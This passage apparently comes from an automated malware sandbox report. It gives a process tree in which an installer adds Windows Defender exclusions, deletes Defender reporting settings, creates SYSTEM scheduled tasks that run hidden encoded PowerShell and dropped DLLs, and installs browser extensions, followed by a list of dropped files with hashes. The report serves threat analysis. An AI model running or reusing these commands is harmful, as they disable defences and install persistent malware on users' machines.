                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:428
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4520
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:5912
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:212
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2528
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:2696
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3712
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1812
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:1464
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:1740
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:5888
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "gdZqBxLBP" /SC once /ST 01:10:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                            2⤵
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:5144
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "gdZqBxLBP"
                                                                                                                            2⤵
                                                                                                                              PID:1944
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /DELETE /F /TN "gdZqBxLBP"
                                                                                                                              2⤵
                                                                                                                                PID:1556
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 08:32:42 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\WzbIWJP.exe\" UK /Mvsite_idGNy 385118 /S" /V1 /F
                                                                                                                                2⤵
                                                                                                                                • Drops file in Windows directory
                                                                                                                                • Creates scheduled task(s)
                                                                                                                                PID:5380
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /run /I /tn "ZJggANjsYpCqsGjEe"
                                                                                                                                2⤵
                                                                                                                                  PID:5128
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                1⤵
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:6056
                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                  2⤵
                                                                                                                                    PID:3648
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                  1⤵
                                                                                                                                    PID:5596
                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                    1⤵
                                                                                                                                      PID:1924
                                                                                                                                    • C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\WzbIWJP.exe
                                                                                                                                      C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\WzbIWJP.exe UK /Mvsite_idGNy 385118 /S
                                                                                                                                      1⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops Chrome extension
                                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:4764
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"
                                                                                                                                        2⤵
                                                                                                                                          PID:5220
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                          2⤵
                                                                                                                                            PID:4100
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:5700
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                              2⤵
                                                                                                                                                PID:5556
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2796
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\TlkYnZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:5316
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "eGwAoTnpAObQfPU2" /F /xml "C:\Program Files (x86)\yvWovCiVU\SxRKAnO.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:4944
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /END /TN "eGwAoTnpAObQfPU"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4596
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "eGwAoTnpAObQfPU"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3396
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "ALvbXdfFiQJKEp" /F /xml "C:\Program Files (x86)\LCifMpYymZWU2\zObJAyv.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3580
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "BIiSjOILpRnDn2" /F /xml "C:\ProgramData\WkkDuRgYrrqHXcVB\WmsXgcv.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3312
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "uCAhUOuaRBfXDMltv2" /F /xml "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\JPjolJJ.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:3560
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "cLzKLCJHWfKFSkdKasF2" /F /xml "C:\Program Files (x86)\mVqQIGUXDOgrC\bUSpFiY.xml" /RU "SYSTEM"
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1192
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "kkPqOHrufYpxTagPJ" /SC once /ST 02:49:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\IzRZTwSZebgYVSAl\PgHWHVfe\wCBsdaR.dll\",#1 /Fbsite_idJVc 385118" /V1 /F
                                                                                                                                                      2⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:1708
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "kkPqOHrufYpxTagPJ"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:3812
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3444
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:5404
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                            2⤵
                                                                                                                                                              PID:916
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5800
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "ZJggANjsYpCqsGjEe"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2136
                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\PgHWHVfe\wCBsdaR.dll",#1 /Fbsite_idJVc 385118
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4400
                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\IzRZTwSZebgYVSAl\PgHWHVfe\wCBsdaR.dll",#1 /Fbsite_idJVc 385118
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                    PID:4628
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "kkPqOHrufYpxTagPJ"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4524

                                                                                                                                                                  Network

                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                        Replay Monitor

                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                        Downloads

                                                                                                                                                                        • C:\Program Files (x86)\LCifMpYymZWU2\zObJAyv.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          e81d7f0da01344c6ad0358b7728487c6

                                                                                                                                                                          SHA1

                                                                                                                                                                          cac31aca28da23deb730bb0705215b2e81e99871

                                                                                                                                                                          SHA256

                                                                                                                                                                          2ab708fe92cd3fd0536deb06376c6a65037c98b03678a13a4613b0b3781abc75

                                                                                                                                                                          SHA512

                                                                                                                                                                          33f6854a292fae946743f01bebea685727141a9b2e58e6659343cc7a3b23c45160ec58260687a4f96f32dfbcff1f9551e34fc2326cc6a1b0da9f1b263dd2470f

                                                                                                                                                                        • C:\Program Files (x86)\mVqQIGUXDOgrC\bUSpFiY.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          79998d886c9a72ca2fa9619c500616fd

                                                                                                                                                                          SHA1

                                                                                                                                                                          cfb755219ddbed1f90a2a1d65cdfad4822eba4ef

                                                                                                                                                                          SHA256

                                                                                                                                                                          6c41823d257a119181cf910c4fde0b713c0a21caf271267344b25fe84c2cce4f

                                                                                                                                                                          SHA512

                                                                                                                                                                          276a4d3435eb3f05da7c5fc6600a5c62c9b2e51abd1d4e9d6e3520b3b8182f79ad8787a7f864631e7b17cf2f775a5808246358229d7e1590add677013bea0e86

                                                                                                                                                                        • C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\JPjolJJ.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          1fcccb1da263bb4ac31565ac55e78fc2

                                                                                                                                                                          SHA1

                                                                                                                                                                          e6d6c427acc80762e6e908fcadc42bb1df458e12

                                                                                                                                                                          SHA256

                                                                                                                                                                          beb4431565daef7bb7330286e52cf9434c307a1bbf92df7b334a8949730f6be3

                                                                                                                                                                          SHA512

                                                                                                                                                                          46a509ab53f107940b3699b5a0757ff07b3410f0be08d78e9ee9d08c0f898461ab1f309aa12f36d80aaa529ade72a419695ebafaedfd4ce5de329ccb53e55ee8

                                                                                                                                                                        • C:\Program Files (x86)\yvWovCiVU\SxRKAnO.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          192a9981bb9a2295beb7a1c86920d9f2

                                                                                                                                                                          SHA1

                                                                                                                                                                          e84c58e167e91ace0f1ba065155181b17866a8d0

                                                                                                                                                                          SHA256

                                                                                                                                                                          4295ce72b1ade0a208bb4adb5b2c2778121a1c958bec08ee8dfcde9a0096af78

                                                                                                                                                                          SHA512

                                                                                                                                                                          38fda644771995b58b94e0beb12e7642791499f5508d04befe7b563e40dc472a7f0ab06e21df5e6b637685333c2aff41dffd96e139e9f87c4bb562adbdefb05b

                                                                                                                                                                        • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                          Filesize

                                                                                                                                                                          2.0MB

                                                                                                                                                                          MD5

                                                                                                                                                                          b52b989b409f4b9db91f8d20ff01089f

                                                                                                                                                                          SHA1

                                                                                                                                                                          a57051025f0b8c70f6a94e92245d96b18b941150

                                                                                                                                                                          SHA256

                                                                                                                                                                          a74e2045f5dc1e0d53227a3bc56a29f088dd94833732e99df86975bd0cf6b1e9

                                                                                                                                                                          SHA512

                                                                                                                                                                          cd769b36bcfd25dd998b9e76691d903a9d782e3d75e8c5129cf7b32f9481e78a06737d6473c62805c696eb76421420754017d3ebd240a14484a142db9f9819ae

                                                                                                                                                                        • C:\ProgramData\WkkDuRgYrrqHXcVB\WmsXgcv.xml

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          7b1bdc9f5cae209d0d8613e3f57d8ba3

                                                                                                                                                                          SHA1

                                                                                                                                                                          c1fabd89628c56102d75b8517b82f835a5b5d9da

                                                                                                                                                                          SHA256

                                                                                                                                                                          a159f4b311956a03195056a38e1b31bb549e0ee45b3c6bfaa094920e8f46bf46

                                                                                                                                                                          SHA512

                                                                                                                                                                          3ada17ec37a35b6e9facfa17a2fcef322455b6eb57541568376939ed1202096181ddfa7cd1324ffccb59f0a287bd47dec39a307d0a544b7a550f92d5c7d3940c

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          187B

                                                                                                                                                                          MD5

                                                                                                                                                                          2a1e12a4811892d95962998e184399d8

                                                                                                                                                                          SHA1

                                                                                                                                                                          55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                          SHA256

                                                                                                                                                                          32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                          SHA512

                                                                                                                                                                          bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          136B

                                                                                                                                                                          MD5

                                                                                                                                                                          238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                          SHA1

                                                                                                                                                                          0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                          SHA256

                                                                                                                                                                          801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                          SHA512

                                                                                                                                                                          2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          150B

                                                                                                                                                                          MD5

                                                                                                                                                                          0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                          SHA1

                                                                                                                                                                          6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                          SHA256

                                                                                                                                                                          0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                          SHA512

                                                                                                                                                                          5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                          Filesize

                                                                                                                                                                          10KB

                                                                                                                                                                          MD5

                                                                                                                                                                          a6e46a4513e8426f6e0eb2894ca33a7b

                                                                                                                                                                          SHA1

                                                                                                                                                                          fabd922470628d64d90006a6c458951c536c8ba1

                                                                                                                                                                          SHA256

                                                                                                                                                                          d480a7b19f51d2401d6342c7adf11ce34fd6a1fc86189bd8210f630ee2182d42

                                                                                                                                                                          SHA512

                                                                                                                                                                          69a4213bafb4829566188b0c05d2168ee96f72b6d4db53d7ce4bcff611dfbb6ad1adc5ff62dd9c9cddbbeaea575fef11f15768918adb14aaf5fbe188176e2a1e

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                          Filesize

                                                                                                                                                                          34KB

                                                                                                                                                                          MD5

                                                                                                                                                                          754673399fcb1be9008e06588f7d7fd1

                                                                                                                                                                          SHA1

                                                                                                                                                                          8c67118fd233eb980f63dd62a489a0ac91a5e054

                                                                                                                                                                          SHA256

                                                                                                                                                                          3aed9255e7ae04b7b08e07cde4a58b58f842543fc7e914a9a924435a002e8e3c

                                                                                                                                                                          SHA512

                                                                                                                                                                          20cbd5b75cf36c6ba911fc4f75aabe118207cf7466e6e68f7f181cf6699f7e3ef18f3fb290ee7cc66b43ea7c22839468067873f8413bfd9efed193518e3242c8

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                          Filesize

                                                                                                                                                                          2KB

                                                                                                                                                                          MD5

                                                                                                                                                                          6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                                          SHA1

                                                                                                                                                                          24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                                          SHA256

                                                                                                                                                                          b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                                          SHA512

                                                                                                                                                                          0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                                                          Filesize

                                                                                                                                                                          151B

                                                                                                                                                                          MD5

                                                                                                                                                                          bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                                          SHA1

                                                                                                                                                                          9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                                          SHA256

                                                                                                                                                                          b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                                          SHA512

                                                                                                                                                                          3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                          Filesize

                                                                                                                                                                          11KB

                                                                                                                                                                          MD5

                                                                                                                                                                          7ce2374fa786922c8599ac132b0b483e

                                                                                                                                                                          SHA1

                                                                                                                                                                          388fe879faf8eebb979737528cd702ca3c8ac2d5

                                                                                                                                                                          SHA256

                                                                                                                                                                          d65d684d2d63811939c30ce851f4a2fea3f6188f7e1da9f0271b8bd6b4d8d616

                                                                                                                                                                          SHA512

                                                                                                                                                                          099822c4dce84e348cb7268808259b1e0462d02cfbe14549223e242ec6864fc224aa2f77bb64f95e2a0d506a30d0364268cd182c3ffa4cdb81630af529dee35e

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                          Filesize

                                                                                                                                                                          64B

                                                                                                                                                                          MD5

                                                                                                                                                                          5caad758326454b5788ec35315c4c304

                                                                                                                                                                          SHA1

                                                                                                                                                                          3aef8dba8042662a7fcf97e51047dc636b4d4724

                                                                                                                                                                          SHA256

                                                                                                                                                                          83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                                                                                                                                                                          SHA512

                                                                                                                                                                          4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS31BE.tmp\Install.exe

                                                                                                                                                                          Filesize

                                                                                                                                                                          6.9MB

                                                                                                                                                                          MD5

                                                                                                                                                                          ea99e72c1ac89aa9cc14178b1c46d50d

                                                                                                                                                                          SHA1

                                                                                                                                                                          60b896781f40e89106d0c76abd11c5b5d0832943

                                                                                                                                                                          SHA256

                                                                                                                                                                          9cd503eed313e3c5293f192804c0f20a4eef448876f8375fbc26a25be36d5b28

                                                                                                                                                                          SHA512

                                                                                                                                                                          03693bda0c8b693c09e416a7d0c335294f74804f336058a59612a07aa0dd918cd70958cc95feba7d3b26b2df235b0a60d0347d6ed6e353fec8c87c969f6068f1

                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zuvbsnff.n2i.ps1

                                                                                                                                                                          Filesize

                                                                                                                                                                          60B

                                                                                                                                                                          MD5

                                                                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                          SHA1

                                                                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                          SHA256

                                                                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                          SHA512

                                                                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\on1px6pk.default-release\prefs.js

                                                                                                                                                                          Filesize

                                                                                                                                                                          6KB

                                                                                                                                                                          MD5

                                                                                                                                                                          92eb93d1622cb7de7f1cfc37fa9238e9

                                                                                                                                                                          SHA1

                                                                                                                                                                          032b40be617a3acabbcfdc9428c845e50a14aa91

                                                                                                                                                                          SHA256

                                                                                                                                                                          3d7cc9bb482d64432b34a89ea1aa6cbf576032a460c21c2bec77562c8dcc8900

                                                                                                                                                                          SHA512

                                                                                                                                                                          3b2b8a344080892d4b7080ccce9b1fc3d387f97e6c5c0075c7fe9962f35c669d19ad02ca83648dfd69452bd4c3e982f05ce0f799eb062574063e34830a491954

                                                                                                                                                                        • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                          Filesize

                                                                                                                                                                          1KB

                                                                                                                                                                          MD5

                                                                                                                                                                          33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                          SHA1

                                                                                                                                                                          36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                          SHA256

                                                                                                                                                                          b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                          SHA512

                                                                                                                                                                          676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                        • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                          Filesize

                                                                                                                                                                          11KB

                                                                                                                                                                          MD5

                                                                                                                                                                          fb5615ceed1213d5320537ada24f80c9

                                                                                                                                                                          SHA1

                                                                                                                                                                          9c453aa53ffce553abfa37db17eeee35a548e625

                                                                                                                                                                          SHA256

                                                                                                                                                                          5f5e6e6aed5d1bdf6a41d590f02bd7cf06ef9945e21a3630b51f1689817e7c6b

                                                                                                                                                                          SHA512

                                                                                                                                                                          32e52318a1aa1643b90cbc78082eb2e7dd13b01d5896b27ae5e584f0d7373a50f347cd7be3fc71e56b2a57085255717487c79ced1eae00a2300f2ee43e6d3e9b

                                                                                                                                                                        • C:\Windows\Temp\IzRZTwSZebgYVSAl\PgHWHVfe\wCBsdaR.dll

                                                                                                                                                                          Filesize

